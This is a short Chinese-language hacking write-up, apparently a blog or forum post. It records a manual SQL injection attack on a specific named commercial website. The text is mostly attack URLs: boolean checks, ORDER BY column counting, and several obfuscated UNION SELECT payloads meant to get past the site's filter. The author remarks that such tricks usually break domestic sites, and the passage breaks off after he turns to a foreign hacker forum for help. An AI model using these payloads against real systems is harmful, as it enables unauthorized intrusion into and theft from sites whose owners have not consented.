//*ps 此点目前流行的注射工具射不 *//
http://cleopatra-sy.com/index.php?content=more_product&id=17
http://cleopatra-sy.com/index.php?content=more_product&id=17 and 1=1 正常
http://cleopatra-sy.com/index.php?content=more_product&id=17 and 1=2 报错
http://cleopatra-sy.com/index.php?content=more_product&id=17 order
by 6 正常
http://cleopatra-sy.com/index.php?content=more_product&id=17 order by 7 错误
继续按照常规的手法注射：
http://cleopatra-sy.com/index.php?content=more_product&id=-17+UNION+SELECT+1,2,
3,4,5,6--
错误nnd，过滤 UNION+SELECT 我们来加点特殊的字符看看能不能绕过
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/**//**//*!uNiOn*//**/
/**//*!sElEcT*//**//**/1,2,3,4,5,6--
悲剧还是绕不过去 - -，于是尝试自己知道的绕过方法继续射…
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/*U*//*n*//*i*//*o*//*n
*//*t*/+/*s*//*e*//*l*//*e*//*c*//*t*/+1,2,3,4,5,6--
http://cleopatra-sy.com/index.php?content=more_product&id=-17+concat(u,n,i,o,n)+conca
t(s,e,l,e,c,t)+all+1,2,3,4,5,6--
悲剧还是绕不过去，nnd。找了几个朋友看了还是绕不过去邪恶的过滤啊。要是国内
的站以上几种方法一般都能搞定，老外就是bt。最后实在木有办法了只好去国外的黑
客论坛求助老外帮助。国外php 注射历史悠久手法独特+方法猥琐 射出几率相当高
于是发帖求助了终于有一个黑客回帖了而且轻松的绕过去了。
